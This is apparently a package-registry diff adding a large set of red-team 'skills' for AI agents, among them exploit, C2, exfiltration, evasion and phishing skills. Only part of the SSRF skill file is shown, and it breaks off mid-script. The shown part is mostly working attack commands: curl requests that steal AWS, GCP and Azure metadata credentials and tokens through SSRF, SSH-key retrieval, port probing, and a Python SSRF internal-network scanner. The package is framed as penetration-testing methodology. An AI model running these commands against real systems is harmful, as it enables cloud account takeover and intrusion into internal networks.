rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1528 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-ssrf
|
|
3
|
+
description: "Server-Side Request Forgery (SSRF) skill. Covers basic SSRF, blind SSRF, AWS EC2 metadata access (169.254.169.254), GCP/Azure metadata, SSRF to Redis/MongoDB exploitation, protocol smuggling (Gopher, dict://), SSRF bypass techniques (IPv6, DNS rebinding, redirects), and cloud credential theft via SSRF."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-ssrf — Server-Side Request Forgery (SSRF)
|
|
7
|
+
|
|
8
|
+
## 1. Overview
|
|
9
|
+
|
|
10
|
+
Server-Side Request Forgery (SSRF) is a vulnerability class where an attacker can coerce a server to make HTTP (or other protocol) requests to arbitrary destinations — including internal services, cloud metadata endpoints, and loopback interfaces — that the attacker cannot reach directly.
|
|
11
|
+
|
|
12
|
+
SSRF is consistently ranked in the OWASP Top 10 (A10:2021) and is a critical finding in cloud environments because it can trivially escalate to full cloud account takeover via credential theft from instance metadata services (IMDS). The attack surface is broad: any feature that fetches a remote URL (webhooks, image importers, PDF renderers, URL preview services, XML parsers with external entity support, PDF/HTML generation services) is a potential SSRF vector.
|
|
13
|
+
|
|
14
|
+
### Why SSRF Matters
|
|
15
|
+
|
|
16
|
+
- Direct path to AWS/GCP/Azure IAM credentials (cloud account takeover)
|
|
17
|
+
- Internal network enumeration without direct access
|
|
18
|
+
- Access to internal APIs behind a firewall (Kubernetes API server, Consul, etcd, internal dashboards)
|
|
19
|
+
- Pivot to RCE via Redis/Memcached/MongoDB exposed internally
|
|
20
|
+
- Exfiltration of secrets from internal configuration endpoints
|
|
21
|
+
- Bypass of IP-based access controls
|
|
22
|
+
|
|
23
|
+
### Skill Scope
|
|
24
|
+
|
|
25
|
+
This skill covers:
|
|
26
|
+
- Basic and blind SSRF detection
|
|
27
|
+
- AWS EC2 IMDSv1 and IMDSv2 exploitation
|
|
28
|
+
- GCP and Azure IMDS exploitation
|
|
29
|
+
- SSRF to internal network scanning
|
|
30
|
+
- Protocol smuggling via Gopher and dict://
|
|
31
|
+
- SSRF to Redis RCE chain
|
|
32
|
+
- SSRF bypass techniques (IPv6, DNS rebinding, HTTP redirects, URL encoding, IP obfuscation)
|
|
33
|
+
- WAF bypass methods
|
|
34
|
+
- Integration with RTExit autodoc engine
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## 2. Skill Levels
|
|
39
|
+
|
|
40
|
+
### BEGINNER
|
|
41
|
+
|
|
42
|
+
**Prerequisites:** Basic HTTP knowledge, ability to use curl and Burp Suite, understanding of what a URL is.
|
|
43
|
+
|
|
44
|
+
**Goals:**
|
|
45
|
+
- Identify SSRF injection points
|
|
46
|
+
- Confirm basic SSRF with an out-of-band callback
|
|
47
|
+
- Access localhost services via SSRF
|
|
48
|
+
- Retrieve AWS IMDSv1 credentials
|
|
49
|
+
|
|
50
|
+
**Tools Required:**
|
|
51
|
+
- `curl`
|
|
52
|
+
- Burp Suite (Community or Pro)
|
|
53
|
+
- `interactsh-client` or Burp Collaborator for out-of-band detection
|
|
54
|
+
|
|
55
|
+
**Key Commands:**
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
# Confirm SSRF with out-of-band callback (use your interactsh or Burp Collaborator URL)
|
|
59
|
+
curl -s "https://target.com/fetch?url=http://YOUR-INTERACTSH-ID.oast.fun"
|
|
60
|
+
|
|
61
|
+
# Test localhost access
|
|
62
|
+
curl -s "https://target.com/fetch?url=http://127.0.0.1/"
|
|
63
|
+
curl -s "https://target.com/fetch?url=http://localhost/"
|
|
64
|
+
curl -s "https://target.com/fetch?url=http://0.0.0.0/"
|
|
65
|
+
|
|
66
|
+
# AWS IMDSv1 — retrieve basic metadata (no auth required)
|
|
67
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
|
|
68
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
69
|
+
# Once you have the role name from above output:
|
|
70
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
|
|
71
|
+
|
|
72
|
+
# Retrieve user-data (often contains secrets/init scripts)
|
|
73
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/user-data"
|
|
74
|
+
|
|
75
|
+
# Common internal ports to probe
|
|
76
|
+
for port in 80 443 8080 8443 8888 9200 6379 27017 2181 5432 3306; do
|
|
77
|
+
echo -n "Port $port: "
|
|
78
|
+
curl -s -o /dev/null -w "%{http_code}" "https://target.com/fetch?url=http://127.0.0.1:$port/"
|
|
79
|
+
echo
|
|
80
|
+
done
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
**Beginner Checklist:**
|
|
84
|
+
- [ ] Identify URL input parameters in the application (url=, fetch=, src=, href=, link=, path=, redirect=, image=, webhook=)
|
|
85
|
+
- [ ] Trigger an out-of-band DNS/HTTP callback to confirm blind SSRF
|
|
86
|
+
- [ ] Attempt http://127.0.0.1 and http://localhost
|
|
87
|
+
- [ ] Attempt http://169.254.169.254/latest/meta-data/ for AWS
|
|
88
|
+
- [ ] Document all findings in RTExit autodoc
|
|
89
|
+
|
|
90
|
+
---
|
|
91
|
+
|
|
92
|
+
### INTERMEDIATE
|
|
93
|
+
|
|
94
|
+
**Prerequisites:** Beginner level complete, familiarity with Python scripting, HTTP request smuggling concepts, cloud IAM basics.
|
|
95
|
+
|
|
96
|
+
**Goals:**
|
|
97
|
+
- Enumerate the internal network via SSRF
|
|
98
|
+
- Exploit AWS IMDSv2 (token-based)
|
|
99
|
+
- Bypass common SSRF filters (IP blocklists, scheme restrictions)
|
|
100
|
+
- Interact with internal services (Redis, Elasticsearch, etcd)
|
|
101
|
+
- GCP and Azure metadata exploitation
|
|
102
|
+
|
|
103
|
+
**Tools Required:**
|
|
104
|
+
- `curl`, `python3`
|
|
105
|
+
- `ffuf` or `wfuzz` for enumeration
|
|
106
|
+
- `interactsh` for blind SSRF
|
|
107
|
+
- Custom Python scripts
|
|
108
|
+
|
|
109
|
+
**AWS IMDSv2 Exploitation (Token Required):**
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# IMDSv2 requires a PUT request first to get a session token
|
|
113
|
+
# With SSRF, we need the app to make a PUT with X-aws-ec2-metadata-token-ttl-seconds header
|
|
114
|
+
# Some SSRF vulnerabilities support custom headers — try:
|
|
115
|
+
|
|
116
|
+
# Step 1: Get token (if the app supports method/header injection)
|
|
117
|
+
curl -s -X PUT "https://target.com/fetch?url=http://169.254.169.254/latest/api/token" \
|
|
118
|
+
-H "X-Forwarded-For: 169.254.169.254" \
|
|
119
|
+
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
|
|
120
|
+
|
|
121
|
+
# If the target app blindly forwards headers, you may be able to include the token TTL header
|
|
122
|
+
# Many apps still fall back to IMDSv1 — always try IMDSv1 first
|
|
123
|
+
|
|
124
|
+
# Retrieve full credential set
|
|
125
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
126
|
+
# Output example: ec2-role-name
|
|
127
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"
|
|
128
|
+
# Output JSON with AccessKeyId, SecretAccessKey, Token
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
**GCP Metadata Exploitation:**
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
# GCP metadata server — requires Metadata-Flavor: Google header
|
|
135
|
+
# Without the header, requests are rejected
|
|
136
|
+
# If SSRF app forwards custom headers, include: Metadata-Flavor: Google
|
|
137
|
+
|
|
138
|
+
curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/" \
|
|
139
|
+
-H "Metadata-Flavor: Google"
|
|
140
|
+
|
|
141
|
+
# Access token for the default service account
|
|
142
|
+
curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
|
|
143
|
+
-H "Metadata-Flavor: Google"
|
|
144
|
+
|
|
145
|
+
# All service accounts
|
|
146
|
+
curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" \
|
|
147
|
+
-H "Metadata-Flavor: Google"
|
|
148
|
+
|
|
149
|
+
# Project ID
|
|
150
|
+
curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" \
|
|
151
|
+
-H "Metadata-Flavor: Google"
|
|
152
|
+
|
|
153
|
+
# SSH keys
|
|
154
|
+
curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys" \
|
|
155
|
+
-H "Metadata-Flavor: Google"
|
|
156
|
+
|
|
157
|
+
# Alternative IP — use if hostname is blocked
|
|
158
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \
|
|
159
|
+
-H "Metadata-Flavor: Google"
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
**Azure IMDS Exploitation:**
|
|
163
|
+
|
|
164
|
+
```bash
|
|
165
|
+
# Azure IMDS requires Metadata: true header
|
|
166
|
+
# Endpoint: http://169.254.169.254/metadata/
|
|
167
|
+
|
|
168
|
+
# Instance metadata
|
|
169
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
|
|
170
|
+
-H "Metadata: true"
|
|
171
|
+
|
|
172
|
+
# Get access token for Azure resources
|
|
173
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
|
|
174
|
+
-H "Metadata: true"
|
|
175
|
+
|
|
176
|
+
# Get token for Key Vault
|
|
177
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
|
|
178
|
+
-H "Metadata: true"
|
|
179
|
+
|
|
180
|
+
# Managed identity — list all identities
|
|
181
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/identity/info?api-version=2021-02-01" \
|
|
182
|
+
-H "Metadata: true"
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
**Internal Network Enumeration with Python:**
|
|
186
|
+
|
|
187
|
+
```python
|
|
188
|
+
#!/usr/bin/env python3
|
|
189
|
+
"""
|
|
190
|
+
SSRF Internal Network Scanner
|
|
191
|
+
Usage: python3 ssrf_scan.py --target https://target.com/fetch --param url
|
|
192
|
+
"""
|
|
193
|
+
import requests
|
|
194
|
+
import sys
|
|
195
|
+
import argparse
|
|
196
|
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
197
|
+
|
|
198
|
+
COMMON_PORTS = [21, 22, 23, 25, 53, 80, 110, 143, 389, 443, 445,
|
|
199
|
+
1433, 1521, 2181, 2375, 3000, 3306, 3389, 4848,
|
|
200
|
+
5432, 5601, 5900, 6379, 7001, 7474, 8080, 8443,
|
|
201
|
+
8888, 9000, 9090, 9200, 9300, 11211, 27017, 50070]
|
|
202
|
+
|
|
203
|
+
def probe_ssrf(target_url, param, internal_host, port, timeout=5):
|
|
204
|
+
try:
|
|
205
|
+
payload = f"http://{internal_host}:{port}/"
|
|
206
|
+
resp = requests.get(target_url, params={param: payload}, timeout=timeout)
|
|
207
|
+
size = len(resp.content)
|
|
208
|
+
return (internal_host, port, resp.status_code, size)
|
|
209
|
+
except Exception:
|
|
210
|
+
return (internal_host, port, None, 0)
|
|
211
|
+
|
|
212
|
+
def scan_host(target_url, param, host, ports):
|
|
213
|
+
results = []
|
|
214
|
+
with ThreadPoolExecutor(max_workers=20) as exe:
|
|
215
|
+
futures = {exe.submit(probe_ssrf, target_url, param, host, p): p for p in ports}
|
|
216
|
+
for f in as_completed(futures):
|
|
217
|
+
host_, port, code, size = f.result()
|
|
218
|
+
if code is not None:
|
|
219
|
+
results.append((host_, port, code, size))
|
|
220
|
+
return results
|
|
221
|
+
|
|
222
|
+
def main():
|
|
223
|
+
parser = argparse.ArgumentParser()
|
|
224
|
+
parser.add_argument("--target", required=True)
|
|
225
|
+
parser.add_argument("--param", default="url")
|
|
226
|
+
parser.add_argument("--host", default="127.0.0.1")
|
|
227
|
+
parser.add_argument("--ports", default=None)
|
|
228
|
+
args = parser.parse_args()
|
|
229
|
+
|
|
230
|
+
ports = [int(p) for p in args.ports.split(",")] if args.ports else COMMON_PORTS
|
|
231
|
+
print(f"[*] Scanning {args.host} via SSRF at {args.target}")
|
|
232
|
+
results = scan_host(args.target, args.param, args.host, ports)
|
|
233
|
+
for host, port, code, size in sorted(results, key=lambda x: x[1]):
|
|
234
|
+
print(f" [{code}] {host}:{port} ({size} bytes)")
|
|
235
|
+
|
|
236
|
+
